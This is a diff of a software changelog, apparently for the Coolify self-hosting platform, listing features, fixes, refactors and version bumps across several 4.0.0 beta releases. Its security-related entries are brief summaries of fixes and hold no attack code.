+- *(ui)* Reduce gap between input fields in email settings for better alignment
+- *(docker)* Conditionally enable gzip compression in Traefik labels based on configuration
+- *(parser)* Enable gzip compression conditionally for Pocketbase images and streamline service creation logic
+- *(ui)* Update padding for trademarks policy and enhance spacing in advanced settings section
+- *(ui)* Correct closing tag for sponsorship link in layout popups
+- *(ui)* Refine wording in sponsorship donation prompt in layout popups
+- *(ui)* Update navbar icon color and enhance popup layout for sponsorship support
+- *(ui)* Add target="_blank" to sponsorship links in layout popups for improved user experience
+- *(models)* Refine comment wording in User model for clarity on user deletion criteria
+- *(models)* Improve user deletion logic in User model to handle team member roles and prevent deletion if user is alone in root team
+- *(ui)* Update wording in sponsorship prompt for clarity and engagement
+- *(shared)* Refactor gzip handling for Pocketbase in newParser function for improved clarity
+
+### 🚜 Refactor
+
+- *(service)* Update Hoarder to their new name karakeep (#5964)
+- *(service)* Karakeep naming and formatting
+- *(service)* Improve miniflux
+- *(core)* Rename API rate limit ENV
+- *(ui)* Simplify container selection form in execute-container-command view
+- *(email)* Streamline SMTP and resend settings logic for improved clarity
+- *(invitation)* Rename methods for consistency and enhance invitation deletion logic
+- *(user)* Streamline user deletion process and enhance team management logic
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(service)* Update Evolution API image to the official one (#6031)
+- *(versions)* Bump coolify versions to v4.0.0-beta.420 and v4.0.0-beta.421
+- *(dependencies)* Update composer dependencies to latest versions including resend-laravel to ^0.19.0 and aws-sdk-php to 3.347.0
+- *(versions)* Update Coolify version to 4.0.0-beta.420.1 and add new services (karakeep, miniflux, pingvinshare) to service templates
+
+## [4.0.0-beta.419] - 2025-06-17
+
+### 🚀 Features
+
+- *(core)* Add 'postmarketos' to supported OS list
+- *(service)* Add memos service template (#5032)
+- *(ui)* Upgrade to Tailwind v4 (#5710)
+- *(service)* Add Navidrome service template (#5022)
+- *(service)* Add Passbolt service (#5769)
+- *(service)* Add Vert service (#5663)
+- *(service)* Add Ryot service (#5232)
+- *(service)* Add Marimo service (#5559)
+- *(service)* Add Diun service (#5113)
+- *(service)* Add Observium service (#5613)
+- *(service)* Add Leantime service (#5792)
+- *(service)* Add Limesurvey service (#5751)
+- *(service)* Add Paymenter service (#5809)
+- *(service)* Add CodiMD service (#4867)
+- *(modal)* Add dispatchAction property to confirmation modal
+- *(security)* Implement server patching functionality
+- *(service)* Add Typesense service (#5643)
+- *(service)* Add Yamtrack service (#5845)
+- *(service)* Add PG Back Web service (#5079)
+- *(service)* Update Maybe service and adjust it for the new release (#5795)
+- *(oauth)* Set redirect uri as optional and add default value (#5760)
+- *(service)* Add apache superset service (#4891)
+- *(service)* Add One Time Secret service (#5650)
+- *(service)* Add Seafile service (#5817)
+- *(service)* Add Netbird-Client service (#5873)
+- *(service)* Add OrangeHRM and Grist services (#5212)
+- *(rules)* Add comprehensive documentation for Coolify architecture and development practices for AI tools, especially for cursor
+- *(server)* Implement server patch check notifications
+- *(api)* Add latest query param to Service restart API (#5881)
+- *(api)* Add connect_to_docker_network setting to App creation API (#5691)
+- *(routes)* Restrict backup download access to team admins and owners
+- *(destination)* Update confirmation modal text and add persistent storage warning for server deployment
+- *(terminal-access)* Implement terminal access control for servers and containers, including UI updates and backend logic
+- *(ca-certificate)* Add CA certificate management functionality with UI integration and routing
+- *(security-patches)* Add update check initialization and enhance notification messaging in UI
+- *(previews)* Add force deploy without cache functionality and update deploy method to accept force rebuild parameter
+- *(security-patterns)* Expand sensitive patterns list to include additional security-related variables
+- *(database-backup)* Add MongoDB credential extraction and backup handling to DatabaseBackupJob
+- *(activity-monitor)* Implement auto-scrolling functionality and dynamic content observation for improved user experience
+- *(utf8-handling)* Implement UTF-8 sanitization for command outputs and enhance error handling in logs processing
+- *(navbar)* Add Traefik dashboard availability check and server IP handling; refactor dynamic configurations loading
+- *(proxy-dashboard)* Implement ProxyDashboardCacheService to manage Traefik dashboard cache; clear cache on configuration changes and proxy actions
+- *(terminal-connection)* Enhance terminal connection handling with auto-connect feature and improved status messaging
+- *(terminal)* Implement resize handling with ResizeObserver for improved terminal responsiveness
+- *(migration)* Add is_sentinel_enabled column to server_settings with default true
+- *(seeder)* Dispatch StartProxy action for each server in ProductionSeeder
+- *(seeder)* Add CheckAndStartSentinelJob dispatch for each server in ProductionSeeder
+- *(seeder)* Conditionally dispatch StartProxy action based on proxy check result
+- *(service)* Update Changedetection template (#5937)
+
+### 🐛 Bug Fixes
+
+- *(constants)* Adding 'fedora-asahi-remix' as a supported OS (#5646)
+- *(authentik)* Update docker-compose configuration for authentik service
+- *(api)* Allow nullable destination_uuid (#5683)
+- *(service)* Fix documenso startup and mail (#5737)
+- *(docker)* Fix production dockerfile
+- *(service)* Navidrome service
+- *(service)* Passbolt
+- *(service)* Add missing ENVs to NTFY service (#5629)
+- *(service)* NTFY is behind a proxy
+- *(service)* Vert logo and ENVs
+- *(service)* Add platform to Observium service
+- *(ActivityMonitor)* Prevent multiple event dispatches during polling
+- *(service)* Convex ENVs and update image versions (#5827)
+- *(service)* Paymenter
+- *(ApplicationDeploymentJob)* Ensure correct COOLIFY_FQDN/COOLIFY_URL values (#4719)
+- *(service)* Snapdrop no matching manifest error (#5849)
+- *(service)* Use the same volume between chatwoot and sidekiq (#5851)
+- *(api)* Validate docker_compose_raw input in ApplicationsController
+- *(api)* Enhance validation for docker_compose_raw in ApplicationsController
+- *(select)* Update PostgreSQL versions and titles in resource selection
+- *(database)* Include DatabaseStatusChanged event in activityMonitor dispatch
+- *(css)* Tailwind v5 things
+- *(service)* Diun ENV for consistency
+- *(service)* Memos service name
+- *(css)* 8+ issue with new tailwind v4
+- *(css)* `bg-coollabs-gradient` not working anymore
+- *(ui)* Add back missing service navbar components
+- *(deploy)* Update resource timestamp handling in deploy_resource method
+- *(patches)* DNF reboot logic is flipped
+- *(deployment)* Correct syntax for else statement in docker compose build command
+- *(shared)* Remove unused relation from queryDatabaseByUuidWithinTeam function
+- *(deployment)* Correct COOLIFY_URL and COOLIFY_FQDN assignments based on parsing version in preview deployments
+- *(docker)* Ensure correct parsing of environment variables by limiting explode to 2 parts
+- *(project)* Update selected environment handling to use environment name instead of UUID
+- *(ui)* Update server status display and improve server addition layout
+- *(service)* Neon WS Proxy service not working on ARM64 (#5887)
+- *(server)* Enhance error handling in server patch check notifications
+- *(PushServerUpdateJob)* Add null checks before updating application and database statuses
+- *(environment-variables)* Update label text for build variable checkboxes to improve clarity
+- *(service-management)* Update service stop and restart messages for improved clarity and formatting
+- *(preview-form)* Update helper text formatting in preview URL template input for better readability
+- *(application-management)* Improve stop messages for application, database, and service to enhance clarity and formatting
+- *(application-configuration)* Prevent access to preview deployments for deploy_key applications and update menu visibility accordingly
+- *(select-component)* Handle exceptions during parameter retrieval and environment selection in the mount method
+- *(previews)* Escape container names in stopContainers method to prevent shell injection vulnerabilities
+- *(docker)* Add protection against empty container queries in GetContainersStatus to prevent unnecessary updates
+- *(modal-confirmation)* Decode HTML entities in confirmation text to ensure proper display
+- *(select-component)* Enhance user interaction by adding cursor styles and disabling selection during processing
+- *(deployment-show)* Remove unnecessary fixed positioning for button container to improve layout responsiveness
+- *(email-notifications)* Change notify method to notifyNow for immediate test email delivery
+- *(service-templates)* Update Convex service configuration to use FQDN variables
+- *(database-heading)* Simplify stop database message for clarity
+- *(navbar)* Remove unnecessary x-init directive for loading proxy configuration
+- *(patches)* Add padding to loading message for better visibility during update checks
+- *(terminal-connection)* Improve error handling and stability for auto-connection; enhance component readiness checks and retry logic
+- *(terminal)* Add unique wire:key to terminal component for improved reactivity and state management
+- *(css)* Adjust utility classes in utilities.css for consistent application of Tailwind directives
+- *(css)* Refine utility classes in utilities.css for proper Tailwind directive application
+- *(install)* Update Docker installation script to use dynamic OS_TYPE and correct installation URL
+- *(cloudflare)* Add error handling to automated Cloudflare configuration script
+- *(navbar)* Add error handling for proxy status check to improve user feedback
+- *(web)* Update user team retrieval method for consistent authentication handling
+- *(cloudflare)* Update refresh method to correctly set Cloudflare tunnel status and improve user notification on IP address update
+- *(service)* Update service template for affine and add migration service for improved deployment process
+- *(supabase)* Update Supabase service images and healthcheck methods for improved reliability
+- *(terminal)* Now it should work
+- *(degraded-status)* Remove unnecessary whitespace in badge element for cleaner HTML
+- *(routes)* Add name to security route for improved route management
+- *(migration)* Update default value handling for is_sentinel_enabled column in server_settings
+- *(seeder)* Conditionally dispatch CheckAndStartSentinelJob based on server's sentinel status
+- *(service)* Disable healthcheck logging for Gotenberg (#6005)
+- *(service)* Joplin volume name (#5930)
+- *(server)* Update sentinelUpdatedAt assignment to use server's sentinel_updated_at property
+
+### 💼 Other
+
+- Add support for postmarketOS (#5608)
+- *(core)* Simplify events for app/db/service status changes
+
+### 🚜 Refactor
+
 - *(service)* Observium
 - *(service)* Improve leantime
 - *(service)* Imporve limesurvey
@@ -4698,761 +1556,1454 @@ ### 🚜 Refactor
 - *(ui)* Terminal
 - *(ui)* Remove terminal header from execute-container-command view
 - *(ui)* Remove unnecessary padding from deployment, backup, and logs sections
-- *(service)* Update Hoarder to their new name karakeep (#5964)
-- *(service)* Karakeep naming and formatting
-- *(service)* Improve miniflux
-- *(core)* Rename API rate limit ENV
-- *(ui)* Simplify container selection form in execute-container-command view
-- *(email)* Streamline SMTP and resend settings logic for improved clarity
-- *(invitation)* Rename methods for consistency and enhance invitation deletion logic
-- *(user)* Streamline user deletion process and enhance team management logic
-- *(ui)* Separate views for instance settings to separate paths to make it cleaner
-- *(ui)* Remove unnecessary step3ButtonText attributes from modal confirmation components for cleaner code
-- *(ui)* Enhance project cloning interface with improved table layout for server and resource selection
-- *(terminal)* Simplify command construction for SSH execution
-- *(settings)* Streamline instance admin checks and initialization of settings in Livewire components
-- *(policy)* Optimize team membership checks in S3StoragePolicy
-- *(popup)* Improve styling and structure of the small popup component
-- *(shared)* Enhance FQDN generation logic for services in newParser function
-- *(redis)* Enhance CleanupRedis command with dry-run option and improved key deletion logic
-- *(init)* Standardize method naming conventions and improve command structure in Init.php
-- *(shared)* Improve error handling in getTopLevelNetworks function to return network name on invalid docker-compose.yml
-- *(database)* Improve error handling for unsupported database types in StartDatabaseProxy
-- *(previews)* Streamline preview URL generation by utilizing application method
-- *(application)* Adjust layout and spacing in general application view for improved UI
-- *(postgresql)* Improve layout and spacing in SSL and Proxy configuration sections for better UI consistency
-- *(scheduling)* Replace deprecated job checks with ScheduledJobManager and ServerResourceManager for improved scheduling efficiency
-- *(previews)* Move preview domain generation logic to ApplicationPreview model for better encapsulation and consistency across webhook handlers
-- *(service)* Improve gowa
-- *(previews)* Streamline preview domain generation logic in ApplicationDeploymentJob for improved clarity and maintainability
-- *(services)* Simplify environment variable updates by using updateOrCreate and add cleanup for removed FQDNs
-- *(jobs)* Remove logging for ScheduledJobManager and ServerResourceManager start and completion
-- *(services)* Update validation rules to be optional
-- *(service)* Improve langfuse
-- *(service)* Improve openpanel template
-- *(service)* Improve librechat
-- *(public-git-repository)* Enhance form structure and add autofocus to repository URL input
-- *(public-git-repository)* Remove commented-out code for cleaner template
-- *(templates)* Update service template file handling to use dynamic file name from constants
-- *(parsers)* Streamline domain handling in applicationParser and improve DNS validation logic
-- *(templates)* Replace SERVICE_FQDN variables with SERVICE_URL in compose files for consistency
-- *(links)* Replace inline SVGs with reusable external link component for consistency and improved maintainability
-- *(previews)* Improve layout and add deployment/application logs links for previews
-- *(docker compose)* Remove deprecated newParser function and associated test file to streamline codebase
-- *(shared helpers)* Remove unused parseServiceVolumes function to clean up codebase
-- *(parsers)* Update volume parsing logic to use beforeLast and afterLast for improved accuracy
-- *(validation)* Implement centralized validation patterns across components
-- *(jobs)* Rename job classes to indicate deprecation status
-- Update check frequency logic for cloud and self-hosted environments; streamline server task scheduling and timezone handling
-- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility
-- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility
-- *(git)* Improve submodule cloning
-- *(parsers)* Remove unnecessary hyphen-to-underscore replacement for service names in serviceParser function
-- *(urls)* Replace generateFqdn with generateUrl for consistent URL generation across applications
-- *(domains)* Rename check_domain_usage to checkDomainUsage and update references across the application
-- *(auth)* Simplify access control logic in CanAccessTerminal and ServerPolicy by allowing all users to perform actions
-- *(policy)* Simplify ServiceDatabasePolicy methods to always return true and add manageBackups method
-- *(jobs)* Pull github changelogs from cdn instead of github
-- *(command)* Streamline database deletion process to handle multiple database types and improve user experience
-- *(command)* Improve database collection logic for deletion command by using unique identifiers and enhancing user experience
-- *(command)* Remove InitChangelog command as it is no longer needed
-- *(command)* Streamline Init command by removing unnecessary options and enhancing error handling for various operations
-- *(webhook)* Replace direct forceDelete calls with DeleteResourceJob dispatch for application previews
-- *(command)* Replace forceDelete calls with DeleteResourceJob dispatch for all stuck resources in cleanup process
-- *(command)* Simplify SSH command retry logic by removing unnecessary logging and improving delay calculation
-- *(ssh)* Enhance error handling in SSH command execution and improve connection validation logging
-- *(backlog)* Remove outdated guidelines and project manager agent files to streamline task management documentation
-- *(error-handling)* Remove ray debugging statements from CheckUpdates and shared helper functions to clean up error reporting
-- *(file-transfer)* Replace base64 encoding with direct file transfer method across multiple database actions for improved clarity and efficiency
-- *(remoteProcess)* Remove debugging statement from transfer_file_to_server function to clean up code
-- *(dns-validation)* Rename DNS validation functions for consistency and clarity, and remove unused code
-- *(file-transfer)* Replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency
-- *(private-key)* Remove debugging statement from storeInFileSystem method for cleaner code
-- *(github-webhook)* Restructure application processing by grouping applications by server for improved deployment handling
-- *(deployment)* Enhance queuing logic to support concurrent deployments by including pull request ID in checks
-- *(remoteProcess)* Remove debugging statement from transfer_file_to_container function for cleaner code
-- *(deployment)* Streamline next deployment queuing logic by repositioning queue_next_deployment call
-- *(deployment)* Add validation for pull request existence in deployment process to enhance error handling
-- *(database)* Remove volume_configuration_dir and streamline configuration directory usage in MongoDB and PostgreSQL handlers
-- *(application-source)* Improve layout and accessibility of Git repository links in the application source view
-- *(models)* Remove 'is_readonly' attribute from multiple database models for consistency
-- *(webhook)* Remove Webhook model and related logic; add migrations to drop webhooks and kubernetes tables
-- *(clone)* Consolidate application cloning logic into a dedicated function for improved maintainability and readability
-- *(clone)* Integrate preview cloning logic directly into application cloning function for improved clarity and maintainability
-- *(application)* Enhance environment variable retrieval in configuration change check for improved accuracy
-- *(clone)* Enhance application cloning by separating production and preview environment variable handling
-- *(deployment)* Add environment variable copying logic to Docker build commands for pull requests
-- *(environment)* Standardize service name formatting by replacing '-' and '.' with '_' in environment variable keys
-- *(deployment)* Update environment file handling in Docker commands to use '/artifacts/' path and streamline variable management
-- *(openapi)* Remove 'is_build_time' attribute from environment variable definitions to streamline configuration
-- *(environment)* Remove 'is_build_time' attribute from environment variable handling across the application to simplify configuration
-- *(environment)* Streamline environment variable handling by replacing sorting methods with direct property access and enhancing query ordering for improved performance
-- *(stripe-jobs)* Comment out internal notification calls and add subscription status verification before sending failure notifications
-- *(deployment)* Streamline environment variable handling for dockercompose and improve sorting of runtime variables
-- *(remoteProcess)* Remove command log comments for file transfers to simplify code
-- *(remoteProcess)* Remove file transfer handling from remote_process and instant_remote_process functions to simplify code
-- *(deployment)* Update environment file paths in docker compose commands to use working directory for improved consistency
-- *(server)* Remove debugging ray call from validateConnection method for cleaner code
-- *(deployment)* Conditionally cleanup build secrets based on Docker BuildKit support and remove redundant calls for improved efficiency
-- *(deployment)* Remove redundant environment variable documentation from Dockerfile comments to streamline the deployment process
-- *(deployment)* Streamline Docker BuildKit detection and environment variable handling for enhanced security during application deployment
-- *(deployment)* Optimize BuildKit capabilities detection and remove unnecessary comments for cleaner deployment logic
-- *(deployment)* Rename method for modifying Dockerfile to improve clarity and streamline build secrets integration
-- *(environment)* Conditionally render Docker Build Secrets checkbox based on build pack type
-- *(search)* Optimize cache clearing logic to only trigger on searchable field changes
-- *(environment)* Streamline rendering of Docker Build Secrets checkbox and adjust layout for environment variable settings
-- *(proxy)* Streamline proxy configuration form layout and improve button placements
-- *(remoteProcess)* Remove redundant file transfer functions for improved clarity
-- *(github)* Enhance API request handling and validation
-- *(databases)* Remove deprecated backup parameters from API documentation
-- *(databases)* Streamline backup queries to use team context
-- *(databases)* Update backup queries to use team-specific method
-- *(server)* Update dispatch messages and streamline data synchronization
-- *(cache)* Update team retrieval method in ClearsGlobalSearchCache trait
-- *(database-backup)* Move unique UUID generation for backup execution to database loop
-- *(cloud-commands)* Consolidate and enhance subscription management commands
-- *(toast-component)* Improve layout and icon handling in toast notifications
-- *(private-key-update)* Implement transaction for private key association and connection validation
-- *(installer)* Improve install script
-- *(upgrade)* Improve upgrade script
-- *(installer, upgrade)* Enhance environment variable management
-- *(upgrade)* Enhance logging and quoting in upgrade scripts
-- *(upgrade)* Replace warning div with a callout component for better UI consistency
-- *(ui)* Replace warning and error divs with callout components for improved consistency and readability
-- *(ui)* Improve styling and consistency in environment variable warning and docker cleanup components
-- *(security)* Streamline update check functionality and improve UI button interactions in patches view
-- *(tests)* Simplify matchWatchPaths tests and update implementation for better clarity
-- *(deployment)* Improve environment variable handling in ApplicationDeploymentJob
-- *(deployment)* Remove commented-out code and streamline environment variable handling in ApplicationDeploymentJob
-- *(application)* Improve handling of docker compose domains by normalizing keys and ensuring valid JSON structure
-- *(forms)* Update wire:model bindings to use 'blur' instead of 'blur-sm' for input fields across multiple views
-- *(global-search)* Change event listener to window level for global search modal
-- *(dashboard)* Remove deployment loading logic and introduce DeploymentsIndicator component for better UI management
-- *(dashboard)* Replace project navigation method with direct link in UI
-- *(global-search)* Improve event handling and cleanup in global search component
-- *(environment-variables)* Adjust ordering logic for environment variables
-- Update ente photos configuration for improved service management
-- *(deployment)* Streamline environment variable generation in ApplicationDeploymentJob
-- *(deployment)* Enhance deployment data retrieval and relationships
-- *(deployment)* Standardize environment variable handling in ApplicationDeploymentJob
-- *(deployment)* Update environment variable handling for Docker builds
-- *(navbar, app)* Improve layout and styling for better responsiveness
-- *(switch-team)* Remove label from team selection component for cleaner UI
-- *(global-search, environment)* Streamline environment retrieval with new query method
-- *(backup)* Make backup_log_uuid initialization lazy
-- *(checkbox, utilities, global-search)* Enhance focus styles for better accessibility
-- *(forms)* Simplify wire:dirty class bindings for input, select, and textarea components
-- Replace direct SslCertificate queries with server relationship methods for consistency
-- *(ui)* Improve cloud-init script save checkbox visibility and styling
-- Enable cloud-init save checkbox at all times with backend validation
-- Improve cloud-init script UX and remove description field
-- Improve cloud-init script management UI and cache control
-- Remove debug sleep from global search modal
-- Reduce cloud-init label width for better layout
-- Remove SendsWebhook interface
-- Reposition POST badge as button
-- Migrate database components from legacy model binding to explicit properties
-- Volumes set back to ./pds-data:/pds
-- *(campfire)* Streamline environment variable definitions in Docker Compose file
-- Improve validation error handling and coding standards
-- Preserve exception chain in validation error handling
-- Harden and deduplicate validateShellSafePath
-- Replace random ID generation with Cuid2 for unique HTML IDs in form components
 
 ### 📚 Documentation
 
-- Contribution guide
-- How to add new services
-- Update
-- Update
-- Update Plunk documentation link in compose/plunk.yaml
-- Update link to deploy api docs
-- Add TECH_STACK.md (#4883)
-- *(services)* Reword nitropage url and slogan
-- *(readme)* Add Convex to special sponsors section
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- *(CONTRIBUTING)* Add note about Laravel Horizon accessibility
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
 - Update changelog
 - *(service)* Add new docs link for zipline (#5912)
 - Update changelog
 - Update changelog
 - Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- *(claude)* Clarify that artisan commands should only be run inside the "coolify" container during development
-- Add AGENTS.md for project guidance and development instructions
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- *(testing-patterns)* Add important note to always run tests inside the `coolify` container for clarity
-- Update changelog
-- Update changelog
-- Update changelog
-- *(claude)* Update testing guidelines and add note on Application::team relationship
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- *(tests)* Update testing guidelines for unit and feature tests
-- *(sync)* Create AI Instructions Synchronization Guide and update CLAUDE.md references
-- *(database-patterns)* Add critical note on mass assignment protection for new columns
-- Clarify cloud-init script compatibility
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
-- Update changelog
 
 ### 🎨 Styling
 
-- Linting
 - *(css)* Update padding utility for password input and add newline in app.css
 - *(css)* Refine badge utility styles in utilities.css
 - *(css)* Enhance badge utility styles in utilities.css
-- *(environment-variable)* Adjust SVG icon margin for improved layout in locked state
-- *(proxy)* Adjust padding in proxy configuration form for better visual alignment
-- *(campfire)* Format environment variables for better readability in Docker Compose file
-- *(campfire)* Update comment for DISABLE_SSL environment variable for clarity
-
-### 🧪 Testing
-
-- Native binary target
-- Dockerfile
-- Remove prisma
-- More tests
-- Setup database for upcoming tests
-- Improve Git ls-remote parsing tests with uppercase SHA and negative cases
-- Add coverage for newline and tab rejection in volume strings
 
 ### ⚙️ Miscellaneous Tasks
 
-- Version bump
-- Version
-- Version
-- Version++
-- Version++
-- Version++
-- Version++
+- *(versions)* Update coolify version to 4.0.0-beta.419 and nightly version to 4.0.0-beta.420 in configuration files
+- *(service)* Rename hoarder server to karakeep (#5607)
+- *(service)* Update Supabase services (#5708)
+- *(service)* Remove unused documenso env
+- *(service)* Formatting and cleanup of ryot
+- *(docs)* Remove changelog and add it to gitignore
+- *(versions)* Update version to 4.0.0-beta.419
+- *(service)* Diun formatting
+- *(docs)* Update CHANGELOG.md
+- *(service)* Switch convex vars
+- *(service)* Pgbackweb formatting and naming update
+- *(service)* Remove typesense default API key
+- *(service)* Format yamtrack healthcheck
+- *(core)* Remove unused function
+- *(ui)* Remove unused stopEvent code
+- *(service)* Remove unused env
+- *(tests)* Update test environment database name and add new feature test for converting container environment variables to array
+- *(service)* Update Immich service (#5886)
+- *(service)* Remove unused logo
+- *(api)* Update API docs
+- *(dependencies)* Update package versions in composer.json and composer.lock for improved compatibility and performance
+- *(dependencies)* Update package versions in package.json and package-lock.json for improved stability and features
+- *(version)* Update coolify-realtime to version 1.0.9 in docker-compose and versions files
+- *(version)* Update coolify version to 4.0.0-beta.420 and nightly version to 4.0.0-beta.421
+- *(service)* Changedetection remove unused code
+
+## [4.0.0-beta.417] - 2025-05-07
+
+### 🐛 Bug Fixes
+
+- *(select)* Update fallback logo path to use absolute URL for improved reliability
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update coolify version to 4.0.0-beta.418
+
+## [4.0.0-beta.416] - 2025-05-05
+
+### 🚀 Features
+
+- *(migration)* Add 'is_migrated' and 'custom_type' columns to service_applications and service_databases tables
+- *(backup)* Implement custom database type selection and enhance scheduled backups management
+- *(README)* Add Gozunga and Macarne to sponsors list
+- *(redis)* Add scheduled cleanup command for Redis keys and enhance cleanup logic
+
+### 🐛 Bug Fixes
+
+- *(service)* Graceful shutdown of old container (#5731)
+- *(ServerCheck)* Enhance proxy container check to ensure it is running before proceeding
+- *(applications)* Include pull_request_id in deployment queue check to prevent duplicate deployments
+- *(database)* Update label for image input field to improve clarity
+- *(ServerCheck)* Set default proxy status to 'exited' to handle missing container state
+- *(database)* Reduce container stop timeout from 300 to 30 seconds for improved responsiveness
+- *(ui)* System theming for charts (#5740)
+- *(dev)* Mount points?!
+- *(dev)* Proxy mount point
+- *(ui)* Allow adding scheduled backups for non-migrated databases
+- *(DatabaseBackupJob)* Escape PostgreSQL password in backup command (#5759)
+- *(ui)* Correct closing div tag in service index view
+
+### 🚜 Refactor
+
+- *(Database)* Streamline container shutdown process and reduce timeout duration
+- *(core)* Streamline container stopping process and reduce timeout duration; update related methods for consistency
+- *(database)* Update DB facade usage for consistency across service files
+- *(database)* Enhance application conversion logic and add existence checks for databases and applications
+- *(actions)* Standardize method naming for network and configuration deletion across application and service classes
+- *(logdrain)* Consolidate log drain stopping logic to reduce redundancy
+- *(StandaloneMariadb)* Add type hint for destination method to improve code clarity
+- *(DeleteResourceJob)* Streamline resource deletion logic and improve conditional checks for database types
+- *(jobs)* Update middleware to prevent job release after expiration for CleanupInstanceStuffsJob, RestartProxyJob, and ServerCheckJob
+- *(jobs)* Unify middleware configuration to prevent job release after expiration for DockerCleanupJob and PushServerUpdateJob
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(seeder)* Update git branch from 'main' to 'v4.x' for multiple examples in ApplicationSeeder
+- *(versions)* Update coolify version to 4.0.0-beta.417 and nightly version to 4.0.0-beta.418
+
+## [4.0.0-beta.415] - 2025-04-29
+
+### 🐛 Bug Fixes
+
+- *(ui)* Remove required attribute from image input in service application view
+- *(ui)* Change application image validation to be nullable in service application view
+- *(Server)* Correct proxy path formatting for Traefik proxy type
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update coolify version to 4.0.0-beta.416 and nightly version to 4.0.0-beta.417 in configuration files; fix links in deployment view
+
+## [4.0.0-beta.414] - 2025-04-28
+
+### 🐛 Bug Fixes
+
+- *(ui)* Disable livewire navigate feature (causing spam of setInterval())
+
+## [4.0.0-beta.413] - 2025-04-28
+
+### 💼 Other
+
+- Adjust Workflows for v5 (#5689)
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(workflows)* Adjust workflow for announcement
+
+## [4.0.0-beta.411] - 2025-04-23
+
+### 🚀 Features
+
+- *(deployment)* Add repository_project_id handling for private GitHub apps and clean up unused Caddy label logic
+- *(api)* Enhance OpenAPI specifications with token variable and additional key attributes
+- *(docker)* Add HTTP Basic Authentication support and enhance hostname parsing in Docker run conversion
+- *(api)* Add HTTP Basic Authentication fields to OpenAPI specifications and enhance PrivateKey model descriptions
+- *(README)* Add InterviewPal sponsorship link and corresponding SVG icon
+
+### 🐛 Bug Fixes
+
+- *(backup-edit)* Conditionally enable S3 checkbox based on available validated S3 storage
+- *(source)* Update no sources found message for clarity
+- *(api)* Correct middleware for service update route to ensure proper permissions
+- *(api)* Handle JSON response in service creation and update methods for improved error handling
+- Add 201 json code to servers validate api response
+- *(docker)* Ensure password hashing only occurs when HTTP Basic Authentication is enabled
+- *(docker)* Enhance hostname and GPU option validation in Docker run to compose conversion
+- *(terminal)* Enhance WebSocket client verification with authorized IPs in terminal server
+- *(ApplicationDeploymentJob)* Ensure source is an object before checking GitHub app properties
+
+### 🚜 Refactor
+
+- *(jobs)* Comment out unused Caddy label handling in ApplicationDeploymentJob and simplify proxy path logic in Server model
+- *(database)* Simplify database type checks in ServiceDatabase and enhance image validation in Docker helper
+- *(shared)* Remove unused ray debugging statement from newParser function
+- *(applications)* Remove redundant error response in create_env method
+- *(api)* Restructure routes to include versioning and maintain existing feedback endpoint
+- *(api)* Remove token variable from OpenAPI specifications for clarity
+- *(environment-variables)* Remove protected variable checks from delete methods for cleaner logic
+- *(http-basic-auth)* Rename 'http_basic_auth_enable' to 'http_basic_auth_enabled' across application files for consistency
+- *(docker)* Remove debug statement and enhance hostname handling in Docker run conversion
+- *(server)* Simplify proxy path logic and remove unnecessary conditions
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update coolify version to 4.0.0-beta.411 and nightly version to 4.0.0-beta.412 in configuration files
+- *(versions)* Update coolify version to 4.0.0-beta.412 and nightly version to 4.0.0-beta.413 in configuration files
+- *(versions)* Update coolify version to 4.0.0-beta.413 and nightly version to 4.0.0-beta.414 in configuration files
+- *(versions)* Update realtime version to 1.0.8 in versions.json
+- *(versions)* Update realtime version to 1.0.8 in versions.json
+- *(docker)* Update soketi image version to 1.0.8 in production configuration files
+- *(versions)* Update coolify version to 4.0.0-beta.414 and nightly version to 4.0.0-beta.415 in configuration files
+
+## [4.0.0-beta.410] - 2025-04-18
+
+### 🚀 Features
+
+- Add HTTP Basic Authentication
+- *(readme)* Add new sponsors Supadata AI and WZ-IT to the README
+- *(core)* Enable magic env variables for compose based applications
+
+### 🐛 Bug Fixes
+
+- *(application)* Append base directory to git branch URLs for improved path handling
+- *(templates)* Correct casing of "denokv" to "denoKV" in service templates JSON
+- *(navbar)* Update error message link to use route for environment variables navigation
+- Unsend template
+- Replace ports with expose
+- *(templates)* Update Unsend compose configuration for improved service integration
+
+### 🚜 Refactor
+
+- *(jobs)* Update WithoutOverlapping middleware to use expireAfter for better queue management
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
